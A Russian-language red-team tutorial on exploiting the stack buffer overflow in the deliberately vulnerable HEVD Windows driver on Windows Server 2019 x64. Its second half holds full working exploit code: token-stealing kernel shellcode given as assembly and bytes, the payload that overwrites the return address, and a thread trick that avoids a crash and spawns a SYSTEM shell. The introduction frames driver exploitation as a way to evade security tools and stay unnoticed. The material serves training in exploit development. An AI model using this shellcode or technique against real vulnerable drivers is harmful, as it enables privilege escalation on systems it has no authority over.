
Всем привет! С вами на связи команда Red Team из Angara Security. Сегодня мы немного погрузимся в основы одной из дисциплин, которая является фундаментом любого Malware и Exploit Development. Эти два направления критично важны для проведения Red Team ассессментов, если ты хочешь имитировать действительно скилловых злоумышленников, обходить средства защиты и получать необходимый результат, оставаясь незамеченным для средств мониторинга и служб реагирования на инциденты.
Одним из действенных способов взаимодействия с операционной системой в обход средств защиты является эксплуатация уязвимостей в драйверах ОС. Это могут быть как системные, так и проприетарные драйверы, которые можно установить на скомпрометированную ОС. К примеру, в нашем арсенале есть ряд инструментов, позволяющих эксплуатировать эти уязвимости, закреплять свое присутствие в системе, а также получать критичные данные из памяти системных процессов. Но прежде чем заниматься поиском и эксплуатацией уязвимостей в драйверах, нужно уметь выполнять базовые действия и потренироваться на специально подготовленных драйверах.
Данная статья рассчитана на тех, кто только начинает свой путь в MalDev и ExploitDev и имеет базовые знания в реверс‑инжиниринге. А в качестве «подопытного» будет рассматриваться HackSys Extreme Vulnerable Driver (HEVD), в котором мы рассмотрим эксплуатацию классической уязвимости — Stack Overflow. Однако эта статья не совсем простая. В других доступных статьях из открытых источниках рассматриваются совсем базовые примеры передачи управления из шеллкода обратно в код драйвера, что в современных ОС (например, Windows Server 2019) вызывает BSOD. А нам такое на реальных проектах не нужно: мы же не хотим уронить важный сервер в процессе работ:). Поэтому "фишкой" этой статьи станет одно из предложений по решению этой проблемы и корректному запуску шеллкода без остановки работы самого драйвера и падения системы.
Итак, если вы готовы продолжать читать эту статью и научиться эксплуатировать эту уязвимость, вам нужно:
иметь базовые знания в реверс‑инжиниринге и отладке (будет много про IDA и WinDbg)
иметь базовое представление о работе драйверов в ОС Windows
иметь желание прокачаться в эксплуатации уязвимостей в драйверах:)
Из инструментов вам понадобится:
2 ВМ под управлением ОС Windows Server 2019 x64 (можно взять, например, GOAD)
IDA Free (или Pro, если у вас есть лицензия;) )
Удобная для вас IDE для редактирования кода (достаточно будет VS Code)
Готовы? Поехали! Постараемся рассказать все максимально лаконично, без воды и с упором на технические детали.
Основные сведения о драйверах
После первичной инициализации драйвера управление передаётся на функцию DriverEntry, которая выполняет следующие действия:
получает в качестве параметра указатель на структуру
DRIVER_OBJECT, созданную и частично инициализированную системой;завершает инициализацию
DRIVER_OBJECT, в том числе заполняет массивMajorFunctionсостоящий из адресов функций, вызываемых системой в ответ на определенные действия приложения или устройства;вызывает функцию
IoCreateDevice()для создания объектов устройств, которыми управляет драйвер;вызывает функцию
IoCreateSymbolicLink()для создания символической ссылки на объект устройства для обеспечения возможности взаимодействия с драйвером программ пользовательского режима.
Обычно основной функционал драйвера реализован через функции содержащиеся в массиве MajorFunction. Основной способ взаимодействия драйвера с системой, другими драйверами и пользовательскими приложениями заключается в обмене специальными пакетами данных — I/O Request Packet (IRP). Помимо прочего, эти пакеты содержат код функции, которую необходимо выполнить, указатель на буфер данных передаваемых этой функции и указатель на буфер, в который драйвер поместит результат своей работы. Драйвер может завершить обработку полученного IRP, вызвав одну из трех функций:
IoCompleteRequest— полностью завершает обработку IRP и возвращает результат отправившему запрос коду;IoMarkIrpPending— помещает IRP в очередь для последующей обработки другими драйверами или системой;IoCallDriver— передача IRP другому драйверу.
Описание упрощенное, но для понимания статьи достаточное. Приведем пример кода минимального драйвера:
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,IN PUNICODE_STRING RegistryPath) //DriverObject адрес объекта драйвера; //RegistryPath путь в реестре, где содержится информация о драйвере. { NTSTATUS status; PDEVICE_OBJECT fdo; UNICODE_STRING devName; UNICODE_STRING devLink; for (i = 0; i < IRP_MJ_MAXIMUM_Function; i++) DriverObject->MajorFunction[i] = MyDefaultHandler; DriverObject->DriverUnload = DriverUnload; DriverObject->MajorFunction[IRP_MJ_CREATE] = DriverCreate; DriverObject->MajorFunction[IRP_MJ_CLOSE] = DriverClose; DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverControl; RtlInitUnicodeString(&devName,L"\\Device\\DeviceName1"); status = IoCreateDevice(DriverObject, sizeof(PDEVICE_OBJECT), &devName, FILE_DEVICE_UNKNOWN, 0, FALSE, &fdo); if(!NT_SUCCESS(status)) return status; RtlInitUnicodeString(&devLink,L"\\??\\DeviceName1"); status = IoCreateSymbolicLink(&devLink,&devName); if(!NT_SUCCESS(status)) { IoDeleteDevice(fdo); return status; } return STATUS_SUCCESS; } NTSTATUS DriverCreate(IN PDEVICE_OBJECT fdo, IN PIRP irp) { irp->IoStatus.Status = STATUS_SUCCESS; irp->IoStatus.Information = 0; IoCompleteRequest(irp, IO_NO_INCREMENT); return STATUS_SUCCESS; } NTSTATUS DriverClose(IN PDEVICE_OBJECT fdo, IN PIRP irp) { irp->IoStatus.Status = STATUS_SUCCESS; irp->IoStatus.Information = 0; IoCompleteRequest(irp, IO_NO_INCREMENT); return STATUS_SUCCESS; } NTSTATUS DriverControl(IN PDEVICE_OBJECT fdo, IN PIRP irp) { irp->IoStatus.Status = STATUS_SUCCESS; irp->IoStatus.Information = 0; IoCompleteRequest(irp, IO_NO_INCREMENT); return STATUS_SUCCESS; } VOID DriverUnload(IN PDRIVER_OBJECT fdo) { UNICODE_STRING deviceLink; RtlInitUnicodeString(&deviceLink,L"\\??\\DeviceName1"); IoDeleteSymbolicLink(&deviceLink); IoDeleteDevice(fdo->DeviceObject); }
Настройка WinDbg для работы с ядром
Для отладки драйверов в Windows чаще всего применяется отладчик WinDbg. Для работы с ним удобно использовать стенд состоящий из двух виртуальных машин под управлением ОС Windows:
VM | Описание | IP адрес |
|---|---|---|
TARGET | Машина на которой загружается исследуемый драйвер | Любой адрес |
HOST | Машина, на которой работает WinDbg и к которой будет подключаться целевая машина (Target) | 192.168.56.10 |
WinDbg настраивается для подключения через сеть, что позволяет использовать один алгоритм настройки независимо от платформы виртуализации — VirtualBox, Qemu/KVM, VMWare и так далее
Настроим машину TARGET. Выполним следующие команды в CMD с правами локального администратора:
bcdedit /debug on bcdedit /dbgsettings net hostip:192.168.56.10 port:50000 key:1.1.1.1 shutdown -r -t 0
Далее загрузим наш уязвимый драйвер (предварительно скачав его и положив в папку C:\Windows\System32):
sc create bin= c:\windows\system32\hevd.sys sc start hevd
Далее на машине HOST установим и запустим WinDbg. Запускаем в режиме отладки ядра: File -> Attach to Kernel -> Net, а также указываем порт 50 000 и ключ, ранее заданные на машине TARGET.

Анализ драйвера HEVD
Запускаем на своем хосте (или на виртуальной машине HOST) IDA Pro и открываем файл исследуемого драйвера: File -> Open, выбираем файл hevd.sys

Далее, оставляем все по умолчанию

На выпадающее предложение загрузить PDB‑файл (если такое предложит IDA) жмем Yes

И попадаем на точку входа — функцию из которой вызывается DriverEntry

Отсюда переходим на DriverEntry

В функции DriverEntry, по адресу 14008A092 находится код, который инициализирует массив MajorFunction значениями IrpNotImplementedHandler, IrpCreateCloseHandler и IrpDeviceIoControlHandler

Переходим на код функции IrpNotImplementedHandler. Её функционал сводится к вызову функции IoCompleteRequest, которая завершает IRP и интереса для нас не представляет.

Аналогично с функцией IrpCreateCloseHandle

Таким образом, основной функционал содержится в функции IrpDeviceIoControlHandler, которая представляет собой большой switch по IOCTL‑кодам, соответствующим реализованным в драйвере уязвимостям. Зелеными стрелками показаны IOCTL‑коды, красными — инструкции перехода.

Каждый case сопровождается строкой‑описанием уязвимости, выводящейся в консоль отладчика через DbgPrint и дающей возможность легко отыскать нужный блок кода в дизассемблере.
Блок кода, вызывающий уязвимую функцию BufferOverflowStackIoctlHandler.

Определяем откуда на этот блок передаётся управление. Для этого ставим курсор на адрес 1400851FF и нажимаем Ctrl+x. В открывшемся окне выбираем единственную строку.

жмем OK или Enter и попадаем сюда:

Из этого кода следует, что функция, содержащая уязвимость Stack Buffer Overflow, вызывается из обработчика IOCTL 0x222003. Жмем ESC и возвращаемся обратно к началу уязвимого кода. Переходим в функцию BufferOverflowStackIoctlHandler, которая получает указатель на переданный пользователем буфер и его размер.

Далее переходим в функцию TriggerBufferOverflowStack, которая и содержит уязвимый код: на стеке выделяется 0x820 байт под локальные переменные (адрес 1400865С9), из которых массив из 0x800 байт заполняется нулями (адрес 1400865E8).

После этого в заполненный нулями массив копируются данные из буфера (адрес 14008667E), указатель на который передан в качестве параметра функции TriggerBufferOverflowStack. Эта функция, в свою очередь, получает этот буфер из пользовательского приложения через вызов DeviceIoControl.

Функция TriggerBufferOverflowStack не проверяет размер переданного буфера перед копированием, что и приводит к уязвимости переполнения буфера в стеке и, соответственно, возможности переписать адрес возврата для функции TriggerBufferOverflowStack.
Краткое описание уязвимости переполнение буфера в стеке
При вызове функции F() вызывающая функция записывает адрес возврата Return Address (RA), по которому F() должна передать управление после своего завершения на вершину стека. Сама F() хранит в стеке свои локальные переменные. При этом стек растет в сторону младших адресов памяти. Таким образом, мы имеем:
Адрес | Содержимое |
|---|---|
1112 | RA |
1108 | var1 |
1104 | var2 |
1000 | buf[100] |
Если скопировать в buf 100 байт — все нормально, 104 байта — будет перезаписана переменная var2, 112 байт — будет перезаписан адрес возврата RA. Подробнее можно ознакомиться, например, тут.
Эксплуатация переполнения буфера в стеке драйвера HEVD
Для демонстрации возможности переполнения буфера в стеке будем использовать следующий код (здесь и далее обработка ошибок для краткости пропущена):
#include <windows.h> int main() { DWORD n = 0; unsigned char buffer[0x1000] = { 0 }; memset(buffer, 'A', 0x1000); HANDLE hDevice = CreateFile( "\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); DeviceIoControl(hDevice, 0x222003, buffer, sizeof(buffer), 0, 0, &n, 0); return 0; }
Данный код собирается следующей командой:
x86_64-w64-mingw32-g++ -o stack-overflow.exe stack-overflow.cpp
Код выделяет буфер размером 0x1000 байт, заполняет его символом 'A', затем получает хэндл устройства HEVD и передаёт выделенный буфер драйверу.
Размер выделяемого буфера в 0x1000 байт определяется объёмом памяти выделяемой функцией TriggerBufferOverflowStack под свои локальные переменные.
Запуск кода приводит к ошибке, которую перехватывает WinDbg (если отладчик не подключен система уходит в синий экран):

Вывод содержимого регистров и стека показывает, что причина сбоя заключается в замене адреса возврата в стеке значением 4141414141414141, которое совпадает с содержанием переданного буфера:

Определение смещения адреса возврата в передаваемом буфере
Функция TriggerBufferOverflowStack сначала помещает в стек три qword'а командами push (адреса: 1400865С3, 1400865С5, 1400865С7) затем указатель стека смещается на 0x820 командой sub (адрес 1400865С9).
Таким образом, указатель стека смещен относительно адреса возврата на 3 * sizeof(qword) + 0x820 = 0x838, а буфер‑приемник начинается по адресу rsp+0x20 (адрес 1400865СE3).

Заменив в нашем коде 7 строку на:
memset(buffer, 'A', 2072); memset(buffer + 2072, 'B', 8);
При повторном запуске эксплойта получим:

Теперь адрес возврата равен 4242424242424242, то есть смещение рассчитано верно и можно передавать управление на нужный шеллкод.
Фрагмент занятый символом B необходимо заменить адресом шеллкода, который будет повышать привилегии вызывающего процесса до SYSTEM.
Повышение привилегий
Все процессы в Windows описываются недокументированной структурой EPROCESS, поля которой можно посмотреть в windbg командой dt _EPROCESS.

Нас интересует смещение поля Token (+0x358)

Обрати внимание
Значения смещений полей в недокументированных структурах может различаться для конкретных систем. Актуальные значения можно получить с помощью WinDbg командой
dt _EPROCESS:

Это поле представляет собой указатель на блок данных, который предоставляется процессом LSASS и описывает права доступа и привилегии процесса. Токен пользователя SYSTEM даёт разрешение на полный доступ ко всем системным объектам: файлам, процессам, каналам, устройствам и тому подобное
Когда Windows запускается создаётся процесс System (pid=4), который выполняется от имени пользователя SYSTEM. Таким образом, если подменить токен произвольного процесса токеном процесса System, то этот процесс получит все системные права и привилегии.
Попробуем проэксплуатировать уязвимость на виртуальной машине лабы GOAD. На любой виртуальной машине из лабы с ОС Windows Server 2019 запускаем процесс cmd.exe от имени непривилегированного пользователя (например, robb.stark)

Выводим адреса EPROCESS для процессов system и cmd.exe. Видим, что адрес EPROCESS для процесса System‑ ffffb8856a04e2c0, а адрес EPROCESS для процесса cmd.exe — ffffb8856e216080. Получаем адрес, где содержится токен процесса System командой dq ffffb8856a04e2c0 + 358 l1 (358 — смещение поля Token, которое нам интересно). Получаем адрес токена — ffffdf8b68006043. Подменяем в EPROCESS процесса cmd.exe адрес токена на адрес токена из процесса System командой eq ffffb8856e216080 + 358 ffffdf8b68006043.

Убеждаемся, что процесс cmd.exe получил системные привилегии:

Реализация описанных действий через шеллкод:
steal-token.asm <start>: mov rax,QWORD PTR gs:0x188 ;rax = указатель на KTHREAD mov rax,QWORD PTR [rax+0x98] ;rax = указатель на KAPC_STATE mov rax,QWORD PTR [rax+0x20] ;rax = указатель на KPROCESS, который перекрывается EPROCESS mov rcx,rax <find_system_process>: mov rax,QWORD PTR [rax+0x2e8] ;проход по списку всех процессов sub rax,0x2e8 mov r9,QWORD PTR [rax+0x2e0] ;r9 = PID cmp r9,0x4 jne <find_system_process> ;пока не будет найден процесс у которого PID=4 (System) #подмена токена mov rdx,QWORD PTR [rax+0x358] ;указатель на токен процесса System and dl,0xf0 mov QWORD PTR [rcx+0x358],rdx ;замена указателя на токен текущего процесса указателем на токен процесса System
Функция TriggerBufferOverflowStack возвращает управление в функцию BufferOverflowStackIoctlHandler по адресу 1400865AE.

Функция BufferOverflowStackIoctlHandler в свою очередь возвращает управление по адресу 140085253

Адрес возврата 1400865AE перезаписывается адресом шеллкода, поэтому возвращать управление из шеллкода будем на следующий, хранящийся в стеке, адрес возврата — 140085253. Для этого шеллкод необходимо завершить следующим кодом:
xor rax,rax add rsp,0x28 ret
Собираем шеллкод следующей командой:
nasm -f win64 -o st.obj steal-token.asm && objdump -M intel -d st.obj
И используем для формирования данных передаваемых в драйвер:
void main() { unsigned char shellcode64[] = { //<start>: 0x65, 0x48, 0x8b, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00, //mov rax,QWORD PTR gs:0x188 0x48, 0x8b, 0x80, 0x98, 0x00, 0x00, 0x00, //mov rax,QWORD PTR [rax+0x98] 0x48, 0x8b, 0x40, 0x20, //mov rax,QWORD PTR [rax+0x20] 0x48, 0x89, 0xc1, //mov rcx,rax //<find_system_process>: 0x48, 0x8b, 0x80, 0xe8, 0x02, 0x00, 0x00, //mov rax,QWORD PTR [rax+0x2e8] 0x48, 0x2d, 0xe8, 0x02, 0x00, 0x00, //sub rax,0x2e8 0x4c, 0x8b, 0x88, 0xe0, 0x02, 0x00, 0x00, //mov r9,QWORD PTR [rax+0x2e0] 0x49, 0x83, 0xf9, 0x04, //cmp r9,0x4 0x75, 0xe6, //jne <find_system_process> //<stealing>: 0x48, 0x8b, 0x90, 0x58, 0x03, 0x00, 0x00, //mov rdx,QWORD PTR [rax+0x358] 0x80, 0xe2, 0xf0, //and dl,0xf0 0x48, 0x89, 0x91, 0x58, 0x03, 0x00, 0x00, //mov QWORD PTR [rcx+0x358],rdx //<cleanup>: 0x48, 0x31, 0xc0, //xor rax,rax 0x48, 0x83, 0xc4, 0x28, //add rsp,0x28 0xc3 //ret }; LPVOID shellcode_buffer = VirtualAlloc(NULL, 1024, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(shellcode_buffer, shellcode64, sizeof(shellcode64)); size_t offset_len = 2072 - 24; unsigned char *offset = (unsigned char*) malloc(offset_len); memset(offset, 'A', offset_len); unsigned char rip[8]; ULONG64 addr = (ULONG64) shellcode_buffer; memcpy(rip, &addr, sizeof(addr)); unsigned char zero8[8] = { 0 }; unsigned char irpsp[8] = { 'B', 'B', 'B', 'B', 'B', 'B', 'B', 'B' }; size_t payload_len = offset_len + 8 + 8 + 8 + sizeof(rip); unsigned char *payload = (unsigned char*) malloc(payload_len); memcpy(payload, offset, offset_len); memcpy(payload + offset_len, zero8, sizeof(zero8)); memcpy(payload + offset_len + sizeof(zero8), irpsp, sizeof(irpsp)); memcpy(payload + offset_len + sizeof(zero8) + sizeof(irpsp), zero8, sizeof(zero8)); memcpy(payload + offset_len + sizeof(zero8) + sizeof(irpsp) + sizeof(zero8), rip, sizeof(rip)); HANDLE hDevice = CreateFile( "\\\\.\\HacksysExtremeVulnerableDriver", devname, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); DWORD n = 0; DeviceIoControl( hDevice, 0x222003, payload, payload_len, 0, 0, &n, 0); }
Запуск этого кода приводит к синему экрану. Причина ошибки в том, что при перезаписи адреса возврата функции TriggerBufferOverflowStack происходит перезапись ещё каких‑то важных данных находящихся выше по стеку.

В данном случае речь идёт об адресе FFFFB2084D5FDE30. Из анализа кода следует, что это указатель на текущий стек IRP. В общем случае, при отсутствии других уязвимостей, восстановить указатель невозможно. Поэтому рассмотрим другой способ.
Обрати внимание
В User mode классический шеллкод обычно запускает локальный или сетевой шелл, который работает в контексте уязвимого процессе, заменяя его функционал своим. Тот факт, что шеллкод не возвращает управление в уязвимый код из которого был вызван влияет только на уязвимый процесс и обычно не затрагивает остальную систему. Реализация LPE через уязвимый обработчик IOCTL представляет собой вызов функции в User mode, которая передаёт управление в Kernel mode, где выполняется полезная нагрузка (шеллкод). Эффект (повышение привилегий) распространяется только на вызывающий (уязвимый) процесс, поэтому, чтобы воспользоваться результатом работы полезной нагрузки, необходимо чтобы драйвер вернул управление назад в вызывающий процесс. В сети рассматривается несколько способов возврата управления из режима ядра, но на Windows Server 2019 x64 ни один из них не работает. Поэтому необходимо найти альтернативный метод
Возобновление работы системы после нарушения целостности стека обработчика IRP
Идея в следующем: после замены токена новые права получают все потоки исходного процесса и все процессы, созданные исходным после замены токена. Следовательно, необходимо реализовать следующую последовательность:
создать процесс
создать новый поток и поставить его на паузу
в главном потоке передать в драйвер нагрузку, содержащую шеллкод, завершающийся бесконечным циклом
в новом потоке создать процесс cmd.exe, который будет выполняться от имени
SYSTEM
#include <windows.h> #include <stdio.h> DWORD WINAPI StartCmd(LPVOID) { Sleep(2000); STARTUPINFO si; memset(&si, 0, sizeof(si)); si.cb = sizeof(si); PROCESS_INFORMATION pi; memset(&pi, 0, sizeof(pi)); CreateProcess( "c:\\windows\\system32\\cmd.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi); return 0; } void main() { unsigned char shellcode64[] = { //<start>: 0x65, 0x48, 0x8b, 0x04, 0x25, 0x88, 0x01, 0x00, 0x00, //mov rax,QWORD PTR gs:0x188 0x48, 0x8b, 0x80, 0x98, 0x00, 0x00, 0x00, //mov rax,QWORD PTR [rax+0x98] 0x48, 0x8b, 0x40, 0x20, //mov rax,QWORD PTR [rax+0x20] 0x48, 0x89, 0xc1, //mov rcx,rax //<find_system_process>: 0x48, 0x8b, 0x80, 0xe8, 0x02, 0x00, 0x00, //mov rax,QWORD PTR [rax+0x2e8] 0x48, 0x2d, 0xe8, 0x02, 0x00, 0x00, //sub rax,0x2e8 0x4c, 0x8b, 0x88, 0xe0, 0x02, 0x00, 0x00, //mov r9,QWORD PTR [rax+0x2e0] 0x49, 0x83, 0xf9, 0x04, //cmp r9,0x4 0x75, 0xe6, //jne <find_system_process> //<stealing>: 0x48, 0x8b, 0x90, 0x58, 0x03, 0x00, 0x00, //mov rdx,QWORD PTR [rax+0x358] 0x80, 0xe2, 0xf0, //and dl,0xf0 0x48, 0x89, 0x91, 0x58, 0x03, 0x00, 0x00, //mov QWORD PTR [rcx+0x358],rdx //<infinite loop>: 0x90, //nop 0x90, //nop 0x90, //nop 0xeb, 0xfb //jmp infinite_loop }; LPVOID shellcode_buffer = VirtualAlloc(NULL, 1024, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(shellcode_buffer, shellcode64, sizeof(shellcode64)); size_t offset_len = 2072 - 24; unsigned char *offset = (unsigned char*) malloc(offset_len); memset(offset, 'A', offset_len); unsigned char rip[8]; ULONG64 addr = (ULONG64) shellcode_buffer; memcpy(rip, &addr, sizeof(addr)); unsigned char zero8[8] = { 0 }; unsigned char irpsp[8] = { 'B', 'B', 'B', 'B', 'B', 'B', 'B', 'B' }; size_t payload_len = offset_len + 8 + 8 + 8 + sizeof(rip); unsigned char *payload = (unsigned char*) malloc(payload_len); memcpy(payload, offset, offset_len); memcpy(payload + offset_len, zero8, sizeof(zero8)); memcpy(payload + offset_len + sizeof(zero8), irpsp, sizeof(irpsp)); memcpy(payload + offset_len + sizeof(zero8) + sizeof(irpsp), zero8, sizeof(zero8)); memcpy(payload + offset_len + sizeof(zero8) + sizeof(irpsp) + sizeof(zero8), rip, sizeof(rip)); CreateThread(0, 0, StartCmd, 0, 0, 0); HANDLE hDevice = CreateFile( "\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); DWORD n = 0; DeviceIoControl( hDevice, 0x222003, payload, payload_len, 0, 0, &n, 0); }
Запускаем процесс от имени обычного пользователя:

Запускаем эксплоит и получаем шелл с правами SYSTEM:

В заключение
Итак, мы рассмотрели вариант эксплуатации уязвимости переполнения буфера в стеке драйвера на примере HEVD для Windows Server 2019 x64. Как вы могли заметить, основная сложность при эксплуатации этой уязвимости заключается в том, что описанные в сети методы возврата управления из шеллкода в драйвер приводят к падению системы. Это связано с тем, что при перезаписи адреса возврата повреждаются другие критически важные данные, сохранённые в стеке обработчика IRP.
Однако нам удалось применить технику с созданием нового пользовательского потока до передачи уязвимому IOCTL‑запросу. Это позволило завершить шеллкод бесконечным циклом и предотвратить обращение к испорченным данным. Новый поток делает паузу — в течение этого времени шеллкод гарантированно отработает и повысит права процесса до системных, а затем создаст процесс cmd.exe с правами SYSTEM. Такой подход позволяет успешно эксплуатировать уязвимость на современных версиях Windows без необходимости восстановления повреждённых структур стека драйвера.
Если вам понравилась статья и вы хотите рассмотреть ещё какие‑нибудь базовые вещи из направлений MalDev и ExploitDev — смело пишите в комментарии. Постараемся подготовить для вас ещё больше полезного и интересного контента. :)
